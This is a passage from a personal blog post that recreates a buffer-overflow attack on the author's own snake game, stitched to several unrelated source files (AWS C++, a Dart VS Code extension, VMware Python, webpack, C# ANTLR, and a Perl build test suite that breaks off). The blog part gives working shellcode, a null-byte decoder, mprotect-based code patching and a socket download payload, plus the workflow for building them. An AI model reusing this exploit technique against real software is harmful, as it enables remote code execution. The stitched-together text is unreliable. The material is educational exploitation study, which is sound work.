\x66\xbf\x2a\x00\xb8\x01\x00\x00\x02\x0f\x05

Luckily the original code could be refactored pretty simple to work around the problem. I just added a few unnecessary math operations to avoid needing any instructions with null bytes in them:

.text
.globl _main
_main:
        mov $25400, %di
        sub $25358, %di
        mov $0x2, %al
        shl $24, %eax
        add $0x1, %al
        syscall

Assembling this with as and using objdump to get me the hex bytes gave me the following, strcpy friendly, machine code:

\x66\xbf\x38\x63\x66\x81\xef\x0e\x63\xb0\x02\xc1\xe0\x18\x04\x01\x0f\x05

Modifying the python server script to send this was just a matter of replacing the first set of \x01 bytes with this code string, and boom, the snake game was returning the value 42 before I had a chance to accept the EULA. This was great, but it didn't feel like my plan of rewriting assembly to avoid null bytes was going to be very scalable when I tried to do real work. The original story talked about needing to encode/decode instructions to allow null bytes to be sent, so that was my next project.

Encoding/Decoding Null Bytes

I don't know if the team at Insomniac did something more fancy, but for my purposes, all I needed to do was replace all null bytes in my machine code string with 0xCD and write some assembly that walked the bytes of the eula buffer (after strcpy) instances of 0xCD with 0x00. I may have just gotten lucky, but none of the code that I wrote for the rest of this project ever had a problem with a valid 0xCD byte getting accidentally stomped by this.

To get the machine code string for this bit of assembly, I actually just ended up writing it as a separate program and extracting the hex bytes using Hex Fiend

.text
.globl _main
_main:
        movabsq $0x1111111111111111, %rax
        movabsq $0x1111111111107E26, %rcx
        subq %rcx, %rax  # result of sub is addr of code after decode block
        mov %rax, %rdx
        mov $0xFFFF, %dx
        sub $0xFFFF, %dx # zero dx without getting a null in machine code
# loop starts here
        cmpb $0xCD, (%rax)
        jne .+6
        subb $0xCD, (%rax)
# jump to here if not == 0xcd
        add $0x1, %rax
        add $0x1, %dx
        cmp $0x3D0, %dx # 1035 bytes total, 59 bytes for bootstrap, decode next 976 bytes
        jb .-21
        # int $3 # uncomment to break in debugger here
        ret # end bootstrap

Getting this working was a lot of trial and error (mostly because I hadn't written much assembly before). I also got tripped up for awhile because I was originally messing with some caller save registers and not cleaning them up, which caused weird problems later. Also, I couldn't get labels working with the code I was sending over the wire, so I was stuck with jmp-ing to addresses. Jmp-ing to an absolute address seemed to work if I provided an address in a register, but apparently conditional jumps REQUIRE a relative address, which was a pain.

If you're trying something like this on your own, My standard workflow was to put a breakpoint on the eula buffer, sprinkle my assembly liberally with int $3 calls (which cause the debugger to break there), and then examine the memory of the target buffer with an lldb command like
"memory read –size 1 –format x 0x92b0 –count 1024".

Despite all my complaining though, it did work once I had ironed out all the kinks, which meant it was time to actually do something interesting to the snake game.

Patching Some Code Like a Hacker

The first thing I wanted to do was change some code that shipped with the game. In this case, I wanted to change the point value for hitting a target from 3 to 15. The score value for a target was hardcoded in the code snippet below, so changing it required modifying currently loaded machine code, just like I did in the sample project earlier.

void SnakeGame::tick()
{
    if (currentMode == PLAYING)
    {
        inputMutex.lock();
        Point newHead = {snakeSegments.front().x + velocity.x, snakeSegments.front().y + velocity.y};
        inputMutex.unlock();

        if (newHead.x == targetPos.x && newHead.y == targetPos.y)
        {
            score+=3;
            //rest of code omitted because it isnt important

It was time to fire up Hopper again, this time to figure out the address of this instruction. The tick function itself is located at address 0000000000004100 (as shown below). Working from there, the first add $0x3 instruction (which turned out to be the correct one) is located at 4199.

The page that contains the tick function starts at 0000000000004000, so thats the address I'm going to feed to memcpy. On Mac, memcpy is system call 200004A, so the assembly to mark this page as PROT_READ + PROT_WRITE + PROT_EXEC looked like the following:

_markpage:
    movl $0x200004A, %eax # 4A is the mprotect syscall
    movabsq $0x0000000000004000, %rdi # first arg is page addr, this is the addr of tick
    movq $4096, %rsi # second arg is len, we want 1 page
    movq $7, %rdx # third arg is flags
    syscall

If you're unfamiliar with how system calls work on mac, you may want to read this article, which was extremely helpful when I was figuring all this out.

After marking the page as writeable, all that I needed to do was to modify the byte at address 0x000000000000419B, which was the byte containing the score value for the target that was hardcoded into the add instruction. Changing that from 3 to 15 just required a move:

_fixscore:
        movabsq $0x000000000000419B, %rax # move location of score add instruction to rax
        movb $0x0F, (%rax)

Similarly, I also took this time to write 42 back to our random seed variable:

_randomseed:
        movabsq $0x00000000000096b0, %rax
        movq $42, (%rax) # write 42 back to the random seed var

I should note that I'm providing labels in the assembly snippets above that I didn't actually have in my assembly code, to aid readability. It's a bit lengthy to paste right into the article, but my entire assembly payload up to this point looked like this (note the string of nop instructions I used to make reading lldb output easier). By now, manually changing null bytes to 0xCD in the machine code was getting tedious, so I wrote a small script to do that manually. My workflow now looked like this:

Write some assembly

Assemble it with "as"

Get the machine code using Hex Fiend

Paste that into textedit and remove all whitespace

Use my script to swap null bytes for CD

Add the few bytes for overflowing the buffer / setting packetHandler to the end

Double check to make sure the resulting string was still the right size (add extra 0xCDs until it is)

Paste the code string into the python server

Run the server and the game.

I probably should have combined a few more of those steps into a utility program, but it's a bit late for that now.

At this point, I had successfully managed to change the score value for targets in the game, and was feeling pretty super. However, that wasn't enough for me to be satisfied that I had actually recreated the entire gamasutra story, so there was still more work to do.

Downloading a Real EULA

Up to now, when the game displayed the EULA, it ended up displaying garbage bytes, because the eula buffer contained our code string. I wanted to fix that by having the payload include instructions for downloading a real EULA string from the server. The original story also mentioned having the payload download additional data, although technically the it reads like they downloaded more machine code… I'm not going to split hairs.

Setting up a socket connection in assembly isn't super exciting, given that socket(), connect(), and recvfrom() are all syscalls on OS X, so there's nothing exotic about it really. I had so far gotten by without allocating any stack variables (and as such, needing to clean those up), so I ended up reserving the last chunk of the eula buffer to use to store the sockaddr structure I was using, but that's about as weird as it got. I also hardcoded the values of the sockaddr struct (by writing a C program to set it up and just copying the bytes from the sockaddr struct it created) rather than calculating them the normal way to save some time. Setting all this up looked like this:

_SetUpSocket:
    movl $0x2000061, %eax #  61 is socket
    movq $2, %rdi # first socket arg - AF_INET
    movq $1, %rsi # second socket arg - SOCK_STREAM
    movq $0, %rdx # third socket arg - protocol
    syscall # call socket, socket handle in eax
    movq %rax, %rdi # move socket handle to ebx
    movl $0x2000062, %eax # next syscall will be to connect
    movabsq $0x00000000000096a1, %rsi
    movb $2, (%rsi) # now write the sockaddr bytes
    add $1, %rsi
    movb $0x27, (%rsi)
    add $1, %rsi
    movb $0x15, (%rsi)
    add $1, %rsi
    movq $0x7f, (%rsi)
    add $3, %rsi
    movq $1, (%rsi)
    movabsq $0x00000000000096a0, %rsi # second arg to connect is address of sockaddr struct, located in our buffer (pre-zeroed by bootstrap)
    movq $16, %rdx # third arg is len of sockaddr
    syscall

Since I wanted to download the new EULA string into the same buffer that the payload code currently lived, I ended up adding a huge string of NOP instructions before calling recvfrom, and limiting the size of the EULA string so that it wouldn't stomp on instructions that still mattered. So immediately after the code above, there was a long string of 700 NOP instructions before I actually called recvfrom and then returned from the function. This last bit of assembly looked like this:

_downloadeula:
        movl $0x200001D, %eax # next syscall will be to recvfrom
        movabsq $0x00000000000092b0, %rsi # second arg is address of this buffer
        movq $512, %rdx # third arg is len, eula will be up to 512 bytes
        movq $0x0, %r10 # fourth arg is flags
        movq $0x0, %r8 # fifth arg is socket ptr, use null since we have a connected socket
        movq $0x0, %r9 #  ignore
        syscall
        ret

If you're curious, the entire source for this payload is both here and on the github project that accompanies this blog post. Note that the payload code doesn't exactly match the code string in the final python server script, since I was manually adding padding and replacing some NOPs with 0xCD, as described earlier.

With this payload in place, getting a proper EULA was just a matter of adding a few more lines to the server script to listen for a connection on port 100005 and send back the string when it received that connection. You can see the final server script here if you're curious. Once that was working, I could send a EULA that was human readable to the client in time to hide the fact that anything nefarious was going on, and my server was able to modify compiled code using a buffer overflow. Woohoo!

Conclusion / References

This was a super cool project to work on, despite it occasionally taking a turn for the very tedious. I learned a ton about areas of programming that I had never had a chance to dabbble in before, and feel like I came away from it with a better understanding of how software works in general.

Given how little I knew when I started this, I used a ton of different blog posts and articles to help get me up to speed (in addition to the ones linked explicitly above), and I wanted to list them here in case any are of interest to anyone else. So, in no specific order, here they are:

http://www.vividmachines.com/shellcode/shellcode.html#linex1

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882

https://0xrick.github.io/binary-exploitation/bof1/

https://www.thegeekstuff.com/2013/06/buffer-overflow/

https://securiteam.com/securityreviews/5OP0B006UQ/

https://www.slideshare.net/gotohack/security-offense-and-defense-strategies-videogame-consoles-architecture-under-microscope

https://shanetully.com/2013/12/writing-a-self-mutating-x86_64-c-program/

https://stackoverflow.com/questions/4812869/how-to-write-self-modifying-code-in-x86-assembly

https://stackoverflow.com/questions/50673522/10-13-high-sierra-osx-python-mprotect-always-fails-when-granting-exec-permissi

https://developer.apple.com/library/archive/qa/qa1788/_index.html

https://filippo.io/making-system-calls-from-assembly-in-mac-os-x/

I also want to link again to Hopper and Hex Fiend which made my life way easier. Hopper in particular is a really impressive bit of software, and I get an excuse to use it again in the future.

If you want to say hi, or ask any questions about anything in the article, I'm available (sporadically) on Twitter! Thanks for reading!

Recent Posts

      14 Jul 2021 » Hooking and Hijacking DirectX 11 Functions In Skyrim

      13 Nov 2020 » X64 Function Hooking by Example

      20 May 2020 » Ray Tracing In Notepad.exe At 30 FPS

      20 May 2020 » Hooking Keyboard Input To Play Snake In Notepad.exe

    The postings on this site are my own and don't necessarily represent my
    employer's positions, strategies or opinions.

    © Kyle Halladay, 2021 — built with Jekyll using Lagom theme


text:
#include <aws/mediatailor/model/AvailSuppression.h>
#include <aws/core/utils/json/JsonSerializer.h>

#include <utility>

using namespace Aws::Utils::Json;
using namespace Aws::Utils;

namespace Aws
{
namespace MediaTailor
{
namespace Model
{

AvailSuppression::AvailSuppression() :
    m_mode(Mode::NOT_SET),
    m_modeHasBeenSet(false),
    m_valueHasBeenSet(false)
{
}

AvailSuppression::AvailSuppression(JsonView jsonValue) :
    m_mode(Mode::NOT_SET),
    m_modeHasBeenSet(false),
    m_valueHasBeenSet(false)
{
  *this = jsonValue;
}

AvailSuppression& AvailSuppression::operator =(JsonView jsonValue)
{
  if(jsonValue.ValueExists("Mode"))
  {
    m_mode = ModeMapper::GetModeForName(jsonValue.GetString("Mode"));

    m_modeHasBeenSet = true;
  }

  if(jsonValue.ValueExists("Value"))
  {
    m_value = jsonValue.GetString("Value");

    m_valueHasBeenSet = true;
  }

  return *this;
}

JsonValue AvailSuppression::Jsonize() const
{
  JsonValue payload;

  if(m_modeHasBeenSet)
  {
   payload.WithString("Mode", ModeMapper::GetNameForMode(m_mode));
  }

  if(m_valueHasBeenSet)
  {
   payload.WithString("Value", m_value);

  }

  return payload;
}

} // namespace Model
} // namespace MediaTailor
} // namespace Aws


text:
import * as fs from "fs";
import * as path from "path";
import * as semver from "semver";
import { commands, Uri, window } from "vscode";
import { Logger, Sdks } from "../../shared/interfaces";
import { PackageMap } from "../../shared/pub/package_map";
import { fsPath, getPubGeneratorVersion as getPubGeneratorSdkVersion, isWithinPath } from "../../shared/utils/fs";

// TODO: Wrap these up into a class.

export function getPubPackageStatus(sdks: Sdks, logger: Logger, folderUri: Uri): { probablyRequiresGet: true, probablyRequiresUpgrade: boolean } | undefined {
	const nonRequired = undefined;
	const getRequired = { probablyRequiresGet: true as const, probablyRequiresUpgrade: false };
	const upgradeRequired = { probablyRequiresGet: true as const, probablyRequiresUpgrade: true };

	const folder = fsPath(folderUri);
	const pubspecPath = path.join(folder, "pubspec.yaml");
	const pubspecLockPath = path.join(folder, "pubspec.lock");
	const packageMapPath = path.join(folder, ".dart_tool", "package_config.json");
	if (!folder || !fs.existsSync(pubspecPath))
		return nonRequired;

	// If we don't appear to have deps listed in pubspec, then no point prompting.
	const regex = new RegExp("dependencies\\s*:", "i");
	if (!regex.test(fs.readFileSync(pubspecPath).toString()))
		return nonRequired;

	// If we don't have package_config, we probably need running.
	if (!fs.existsSync(packageMapPath))
		return getRequired;

	// If the Dart SDK version has upgraded by more than just a patch, we should
	// prefer upgrade.
	const lastUsedSdkVersion = getPubGeneratorSdkVersion(logger, packageMapPath);
	const currentSdkVersion = sdks.dartVersion;
	if (lastUsedSdkVersion && currentSdkVersion) {
		const lastUsedSdkMajorMinor = `${semver.major(lastUsedSdkVersion)}.${semver.minor(lastUsedSdkVersion)}.0`;
		const currentSdkMajorMinor = `${semver.major(currentSdkVersion)}.${semver.minor(currentSdkVersion)}.0`;

		logger.info(`Version last used for Pub is ${lastUsedSdkVersion} (${lastUsedSdkMajorMinor}), current is ${currentSdkVersion} (${currentSdkMajorMinor})`);
		// For an SDK upgrade, we want to encourage upgrading.
		if (semver.gt(currentSdkMajorMinor, lastUsedSdkMajorMinor))
			return upgradeRequired;
		// For a downgrade, Pub Get is enough to fix.
		else if (semver.lt(currentSdkMajorMinor, lastUsedSdkMajorMinor))
			return getRequired;
	}

	const pubspecModified = fs.statSync(pubspecPath).mtime;
	const pubspecLockModified = fs.existsSync(pubspecLockPath)
		? fs.statSync(pubspecLockPath).mtime
		: pubspecModified;
	const packageMapModified = fs.statSync(packageMapPath).mtime;

	if (!(pubspecModified <= pubspecLockModified && pubspecLockModified <= packageMapModified))
		return getRequired;

	// If we're a Flutter project and our SDK doesn't match the one used
	// in the package file, we also need running.
	if (sdks.flutter) {
		const packageMap = PackageMap.loadForProject(logger, folder);
		const flutterPackagePath = packageMap.getPackagePath("flutter");
		if (flutterPackagePath && !isWithinPath(flutterPackagePath, sdks.flutter)) {
			return getRequired;
		}
	}

	return nonRequired;
}

export async function promptToRunPubGet(folders: Uri[]) {
	const label = "Run 'pub get'";
	const clickedButton = await window.showInformationMessage("Some packages are missing or out of date, would you like to get them now?", label);
	if (clickedButton === label)
		await runPubGet(folders);
}

export function runPubGet(folders: Uri[]) {
	return commands.executeCommand("dart.getPackages", folders);
}

export async function promptToRunPubUpgrade(folders: Uri[]) {
	const label = "Run 'pub upgrade'";
	const clickedButton = await window.showInformationMessage("Your SDK has been updated since you last fetched packages, would you like to fetch updated packages?", label);
	if (clickedButton === label)
		await runPubUpgrade(folders);
}

export function runPubUpgrade(folders: Uri[]) {
	return commands.executeCommand("dart.upgradePackages", folders);
}


text:
"""
The VMware API VM utility module to build SOAP object specs.
"""

def build_datastore_path(datastore_name, path):
    """Build the datastore compliant path."""
    return "[%s] %s" % (datastore_name, path)

def split_datastore_path(datastore_path):
    """
    Split the VMWare style datastore path to get the Datastore
    name and the entity path.
    """
    spl = datastore_path.split('[', 1)[1].split(']', 1)
    path = ""
    if len(spl) == 1:
        datastore_url = spl[0]
    else:
        datastore_url, path = spl
    return datastore_url, path.strip()

def get_vm_create_spec(client_factory, instance, data_store_name,
                       vif_infos, os_type="otherGuest"):
    """Builds the VM Create spec."""
    config_spec = client_factory.create('ns0:VirtualMachineConfigSpec')
    config_spec.name = instance.name
    config_spec.guestId = os_type

    vm_file_info = client_factory.create('ns0:VirtualMachineFileInfo')
    vm_file_info.vmPathName = "[" + data_store_name + "]"
    config_spec.files = vm_file_info

    tools_info = client_factory.create('ns0:ToolsConfigInfo')
    tools_info.afterPowerOn = True
    tools_info.afterResume = True
    tools_info.beforeGuestStandby = True
    tools_info.beforeGuestShutdown = True
    tools_info.beforeGuestReboot = True

    config_spec.tools = tools_info
    config_spec.numCPUs = int(instance.vcpus)
    config_spec.memoryMB = int(instance.memory_mb)

    vif_spec_list = []
    for vif_info in vif_infos:
        vif_spec = create_network_spec(client_factory, vif_info)
        vif_spec_list.append(vif_spec)

    device_config_spec = vif_spec_list

    config_spec.deviceChange = device_config_spec
    return config_spec

def create_controller_spec(client_factory, key):
    """
    Builds a Config Spec for the LSI Logic Controller's addition
    which acts as the controller for the virtual hard disk to be attached
    to the VM.
    """
    # Create a controller for the Virtual Hard Disk
    virtual_device_config = client_factory.create(
                            'ns0:VirtualDeviceConfigSpec')
    virtual_device_config.operation = "add"
    virtual_lsi = client_factory.create('ns0:VirtualLsiLogicController')
    virtual_lsi.key = key
    virtual_lsi.busNumber = 0
    virtual_lsi.sharedBus = "noSharing"
    virtual_device_config.device = virtual_lsi
    return virtual_device_config

def create_network_spec(client_factory, vif_info):
    """
    Builds a config spec for the addition of a new network
    adapter to the VM.
    """
    network_spec = client_factory.create('ns0:VirtualDeviceConfigSpec')
    network_spec.operation = "add"

    # Get the recommended card type for the VM based on the guest OS of the VM
    net_device = client_factory.create('ns0:VirtualPCNet32')

    # NOTE(asomya): Only works on ESXi if the portgroup binding is set to
    # ephemeral. Invalid configuration if set to static and the NIC does
    # not come up on boot if set to dynamic.
    network_ref = vif_info['network_ref']
    network_name = vif_info['network_name']
    mac_address = vif_info['mac_address']
    backing = None
    if (network_ref and
        network_ref['type'] == "DistributedVirtualPortgroup"):
        backing_name = ''.join(['ns0:VirtualEthernetCardDistributed',
                                'VirtualPortBackingInfo'])
        backing = client_factory.create(backing_name)
        portgroup = client_factory.create(
                    'ns0:DistributedVirtualSwitchPortConnection')
        portgroup.switchUuid = network_ref['dvsw']
        portgroup.portgroupKey = network_ref['dvpg']
        backing.port = portgroup
    else:
        backing = client_factory.create(
                  'ns0:VirtualEthernetCardNetworkBackingInfo')
        backing.deviceName = network_name

    connectable_spec = client_factory.create('ns0:VirtualDeviceConnectInfo')
    connectable_spec.startConnected = True
    connectable_spec.allowGuestControl = True
    connectable_spec.connected = True

    net_device.connectable = connectable_spec
    net_device.backing = backing

    # The Server assigns a Key to the device. Here we pass a -ve temporary key.
    # -ve because actual keys are +ve numbers and we don't
    # want a clash with the key that server might associate with the device
    net_device.key = -47
    net_device.addressType = "manual"
    net_device.macAddress = mac_address
    net_device.wakeOnLanEnabled = True

    network_spec.device = net_device
    return network_spec

def get_vmdk_attach_config_spec(client_factory, disksize, file_path,
                                adapter_type="lsiLogic"):
    """Builds the vmdk attach config spec."""
    config_spec = client_factory.create('ns0:VirtualMachineConfigSpec')

    # The controller Key pertains to the Key of the LSI Logic Controller, which
    # controls this Hard Disk
    device_config_spec = []
    # For IDE devices, there are these two default controllers created in the
    # VM having keys 200 and 201
    if adapter_type == "ide":
        controller_key = 200
    else:
        controller_key = -101
        controller_spec = create_controller_spec(client_factory,
                                            controller_key)
        device_config_spec.append(controller_spec)
    virtual_device_config_spec = create_virtual_disk_spec(client_factory,
                                disksize, controller_key, file_path)

    device_config_spec.append(virtual_device_config_spec)

    config_spec.deviceChange = device_config_spec
    return config_spec

def get_vmdk_file_path_and_adapter_type(client_factory, hardware_devices):
    """Gets the vmdk file path and the storage adapter type."""
    if hardware_devices.__class__.__name__ == "ArrayOfVirtualDevice":
        hardware_devices = hardware_devices.VirtualDevice
    vmdk_file_path = None
    vmdk_controler_key = None

    adapter_type_dict = {}
    for device in hardware_devices:
        if (device.__class__.__name__ == "VirtualDisk" and
            device.backing.__class__.__name__ ==
                    "VirtualDiskFlatVer2BackingInfo"):
            vmdk_file_path = device.backing.fileName
            vmdk_controler_key = device.controllerKey
        elif device.__class__.__name__ == "VirtualLsiLogicController":
            adapter_type_dict[device.key] = "lsiLogic"
        elif device.__class__.__name__ == "VirtualBusLogicController":
            adapter_type_dict[device.key] = "busLogic"
        elif device.__class__.__name__ == "VirtualIDEController":
            adapter_type_dict[device.key] = "ide"
        elif device.__class__.__name__ == "VirtualLsiLogicSASController":
            adapter_type_dict[device.key] = "lsiLogic"

    adapter_type = adapter_type_dict.get(vmdk_controler_key, "")

    return vmdk_file_path, adapter_type

def get_copy_virtual_disk_spec(client_factory, adapter_type="lsilogic"):
    """Builds the Virtual Disk copy spec."""
    dest_spec = client_factory.create('ns0:VirtualDiskSpec')
    dest_spec.adapterType = adapter_type
    dest_spec.diskType = "thick"
    return dest_spec

def get_vmdk_create_spec(client_factory, size_in_kb, adapter_type="lsiLogic"):
    """Builds the virtual disk create spec."""
    create_vmdk_spec = client_factory.create('ns0:FileBackedVirtualDiskSpec')
    create_vmdk_spec.adapterType = adapter_type
    create_vmdk_spec.diskType = "thick"
    create_vmdk_spec.capacityKb = size_in_kb
    return create_vmdk_spec

def create_virtual_disk_spec(client_factory, disksize, controller_key,
                             file_path=None):
    """
    Builds spec for the creation of a new/ attaching of an already existing
    Virtual Disk to the VM.
    """
    virtual_device_config = client_factory.create(
                            'ns0:VirtualDeviceConfigSpec')
    virtual_device_config.operation = "add"
    if file_path is None:
        virtual_device_config.fileOperation = "create"

    virtual_disk = client_factory.create('ns0:VirtualDisk')

    disk_file_backing = client_factory.create(
                        'ns0:VirtualDiskFlatVer2BackingInfo')
    disk_file_backing.diskMode = "persistent"
    disk_file_backing.thinProvisioned = False
    if file_path is not None:
        disk_file_backing.fileName = file_path
    else:
        disk_file_backing.fileName = ""

    connectable_spec = client_factory.create('ns0:VirtualDeviceConnectInfo')
    connectable_spec.startConnected = True
    connectable_spec.allowGuestControl = False
    connectable_spec.connected = True

    virtual_disk.backing = disk_file_backing
    virtual_disk.connectable = connectable_spec

    # The Server assigns a Key to the device. Here we pass a -ve random key.
    # -ve because actual keys are +ve numbers and we don't
    # want a clash with the key that server might associate with the device
    virtual_disk.key = -100
    virtual_disk.controllerKey = controller_key
    virtual_disk.unitNumber = 0
    virtual_disk.capacityInKB = disksize

    virtual_device_config.device = virtual_disk

    return virtual_device_config

def get_dummy_vm_create_spec(client_factory, name, data_store_name):
    """Builds the dummy VM create spec."""
    config_spec = client_factory.create('ns0:VirtualMachineConfigSpec')

    config_spec.name = name
    config_spec.guestId = "otherGuest"

    vm_file_info = client_factory.create('ns0:VirtualMachineFileInfo')
    vm_file_info.vmPathName = "[" + data_store_name + "]"
    config_spec.files = vm_file_info

    tools_info = client_factory.create('ns0:ToolsConfigInfo')
    tools_info.afterPowerOn = True
    tools_info.afterResume = True
    tools_info.beforeGuestStandby = True
    tools_info.beforeGuestShutdown = True
    tools_info.beforeGuestReboot = True

    config_spec.tools = tools_info
    config_spec.numCPUs = 1
    config_spec.memoryMB = 4

    controller_key = -101
    controller_spec = create_controller_spec(client_factory, controller_key)
    disk_spec = create_virtual_disk_spec(client_factory, 1024, controller_key)

    device_config_spec = [controller_spec, disk_spec]

    config_spec.deviceChange = device_config_spec
    return config_spec

def get_machine_id_change_spec(client_factory, machine_id_str):
    """Builds the machine id change config spec."""
    virtual_machine_config_spec = client_factory.create(
                                  'ns0:VirtualMachineConfigSpec')

    opt = client_factory.create('ns0:OptionValue')
    opt.key = "machine.id"
    opt.value = machine_id_str
    virtual_machine_config_spec.extraConfig = [opt]
    return virtual_machine_config_spec

def get_add_vswitch_port_group_spec(client_factory, vswitch_name,
                                    port_group_name, vlan_id):
    """Builds the virtual switch port group add spec."""
    vswitch_port_group_spec = client_factory.create('ns0:HostPortGroupSpec')
    vswitch_port_group_spec.name = port_group_name
    vswitch_port_group_spec.vswitchName = vswitch_name

    # VLAN ID of 0 means that VLAN tagging is not to be done for the network.
    vswitch_port_group_spec.vlanId = int(vlan_id)

    policy = client_factory.create('ns0:HostNetworkPolicy')
    nicteaming = client_factory.create('ns0:HostNicTeamingPolicy')
    nicteaming.notifySwitches = True
    policy.nicTeaming = nicteaming

    vswitch_port_group_spec.policy = policy
    return vswitch_port_group_spec


text:
var PUBLIC = __dirname + "/public";

var ExtractTextPlugin = require("extract-text-webpack-plugin");
var bourbon = require('node-bourbon').includePaths;
module.exports = {
    entry: "./src/app.js",
    output: {
        path: PUBLIC,
        filename: "bundle.js"
    },
    devtool: "#inline-source-map",
    devServer: {
        contentBase: PUBLIC,
    },
    module: {
        loaders: [
            { test: /\.js$/, exclude: /(node_modules|bower_components|lib)/, loader: "babel-loader", query: { presets: ['es2015'] }  },
            { test: /\.(glsl|vs|fs)$/, loader: 'shader' },
            { test: /\.png$/, loader: "url-loader?limit=100000" },
            { test: /\.jpg$/, loader: "file-loader" },
            { test: /\.css$/, loader: ExtractTextPlugin.extract("style", "!css") },
            { test: /\.scss$/, loader: ExtractTextPlugin.extract("style", "css!sass?includePaths[]=" + bourbon) },
        ]
    },
    glsl: {
        // chunks folder, chunkpath by default is ""
        //chunkPath: __dirname+"/shaders/"
    },
    plugins: [
        new ExtractTextPlugin("bundle.css", {
            allChunks: true
        })
    ]
};


text:
using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using erl.Oracle.TnsNames.Antlr4.Runtime.Dfa;
using erl.Oracle.TnsNames.Antlr4.Runtime.Sharpen;
using Interlocked = System.Threading.Interlocked;

namespace erl.Oracle.TnsNames.Antlr4.Runtime.Dfa
{
    /// <author>Sam Harwell</author>
    public sealed class ArrayEdgeMap<T> : AbstractEdgeMap<T>
        where T : class
    {
        private readonly T[] arrayData;

        private int size;

        public ArrayEdgeMap(int minIndex, int maxIndex)
            : base(minIndex, maxIndex)
        {
            arrayData = new T[maxIndex - minIndex + 1];
        }

        public override int Count
        {
            get
            {
                return Interlocked.CompareExchange(ref size, 0, 0);
            }
        }

        public override bool IsEmpty
        {
            get
            {
                return Count == 0;
            }
        }

        public override bool ContainsKey(int key)
        {
            return this[key] != null;
        }

        public override T this[int key]
        {
            get
            {
                if (key < minIndex || key > maxIndex)
                {
                    return null;
                }

                return Interlocked.CompareExchange(ref arrayData[key - minIndex], null, null);
            }
        }

        public override AbstractEdgeMap<T> Put(int key, T value)
        {
            if (key >= minIndex && key <= maxIndex)
            {
                T existing = Interlocked.Exchange(ref arrayData[key - minIndex], value);
                if (existing == null && value != null)
                {
                    Interlocked.Increment(ref size);
                }
                else
                {
                    if (existing != null && value == null)
                    {
                        Interlocked.Decrement(ref size);
                    }
                }
            }
            return this;
        }

        public override AbstractEdgeMap<T> Remove(int key)
        {
            return Put(key, null);
        }

        public override AbstractEdgeMap<T> PutAll(IEdgeMap<T> m)
        {
            if (m.IsEmpty)
            {
                return this;
            }
            if (m is erl.Oracle.TnsNames.Antlr4.Runtime.Dfa.ArrayEdgeMap<T>)
            {
                erl.Oracle.TnsNames.Antlr4.Runtime.Dfa.ArrayEdgeMap<T> other = (erl.Oracle.TnsNames.Antlr4.Runtime.Dfa.ArrayEdgeMap<T>)m;
                int minOverlap = Math.Max(minIndex, other.minIndex);
                int maxOverlap = Math.Min(maxIndex, other.maxIndex);
                erl.Oracle.TnsNames.Antlr4.Runtime.Dfa.ArrayEdgeMap<T> result = this;
                for (int i = minOverlap; i <= maxOverlap; i++)
                {
                    result = ((erl.Oracle.TnsNames.Antlr4.Runtime.Dfa.ArrayEdgeMap<T>)result.Put(i, m[i]));
                }
                return result;
            }
            else
            {
                if (m is SingletonEdgeMap<T>)
                {
                    SingletonEdgeMap<T> other = (SingletonEdgeMap<T>)m;
                    System.Diagnostics.Debug.Assert(!other.IsEmpty);
                    return Put(other.Key, other.Value);
                }
                else
                {
                    if (m is SparseEdgeMap<T>)
                    {
                        SparseEdgeMap<T> other = (SparseEdgeMap<T>)m;
                        lock (other)
                        {
                            int[] keys = other.Keys;
                            IList<T> values = other.Values;
                            erl.Oracle.TnsNames.Antlr4.Runtime.Dfa.ArrayEdgeMap<T> result = this;
                            for (int i = 0; i < values.Count; i++)
                            {
                                result = ((erl.Oracle.TnsNames.Antlr4.Runtime.Dfa.ArrayEdgeMap<T>)result.Put(keys[i], values[i]));
                            }
                            return result;
                        }
                    }
                    else
                    {
                        throw new NotSupportedException(string.Format("EdgeMap of type {0} is supported yet.", m.GetType().FullName));
                    }
                }
            }
        }

        public override AbstractEdgeMap<T> Clear()
        {
            return new EmptyEdgeMap<T>(minIndex, maxIndex);
        }

        public override IDictionary<int, T> ToMap()
        {
            if (IsEmpty)
            {
                return Sharpen.Collections.EmptyMap<int, T>();
            }

            IDictionary<int, T> result = new SortedDictionary<int, T>();
            for (int i = 0; i < arrayData.Length; i++)
            {
                T element = arrayData[i];
                if (element == null)
                {
                    continue;
                }
                result[i + minIndex] = element;
            }
            return result;
        }
    }
}


text:
package TBBTestSuite::TestSuite::TorBrowserBuild;

use strict;
use parent 'TBBTestSuite::TestSuite::RBMBuild';

use TBBTestSuite::Common qw(run_to_file);
use TBBTestSuite::GitRepo;
use File::Copy;
use IO::CaptureOutput qw(capture_exec);
use Path::Tiny;

sub description {
    'Tor Browser Build';
}

sub type {
    'tor-browser_build';
};

sub test_types {
    my $self = shift;
    my $res = $self->SUPER::test_types();
    $res->{make_incrementals} = \&make_incrementals;
    return $res;
}

sub set_tests {
    my ($testsuite) = @_;
    $testsuite->{tests} = [
        # Nightly
        {
            name  => 'nightly-linux-x86_64',
            descr => 'build tor-browser nightly linux-x86_64',
            type  => 'rbm_build',
            project => 'release',
            targets => [
                'noversiondir',
                'nightly',
                'torbrowser-linux-x86_64',
            ],
            publish_dir => 'nightly-linux-x86_64',
        },
        {
            name  => 'incrementals-nightly-linux-x86_64',
            descr => 'create incrementals for tor-browser nightly linux-x86_64',
            type  => 'make_incrementals',
            publish_dir => 'nightly-linux-x86_64',
        },
        {
            name  => 'nightly-linux-i686',
            descr => 'build tor-browser nightly linux-i686',
            type  => 'rbm_build',
            project => 'release',
            targets => [
                'noversiondir',
                'nightly',
                'torbrowser-linux-i686',
            ],
            publish_dir => 'nightly-linux-i686',
        },
        {
            name  => 'incrementals-nightly-linux-i686',
            descr => 'create incrementals for tor-browser nightly linux-i686',
            type  => 'make_incrementals',
            publish_dir => 'nightly-linux-i686',
        },
        {
            name  => 'nightly-windows-i686',
            descr => 'build tor-browser nightly windows-i686',
            type  => 'rbm_build',
            project => 'release',
            targets => [
                'noversiondir',
                'nightly',
                'torbrowser-windows-i686',
            ],
            publish_dir => 'nightly-windows-i686',
        },
        {
            name  => 'incrementals-nightly-windows-i686',
            descr => 'create incrementals for tor-browser nightly windows-i686',
            type  => 'make_incrementals',
            publish_dir => 'nightly-windows-i686',
        },
        {
            name  => 'nightly-windows-x86_64',
            descr => 'build tor-browser nightly windows-x86_64',
            type  => 'rbm_build',
            project => 'release',
            targets => [
                'noversiondir',
                'nightly',
                'torbrowser-windows-x86_64',
            ],
            publish_dir => 'nightly-windows-x86_64',
        },
        {
            name  => 'incrementals-nightly-windows-x86_64',
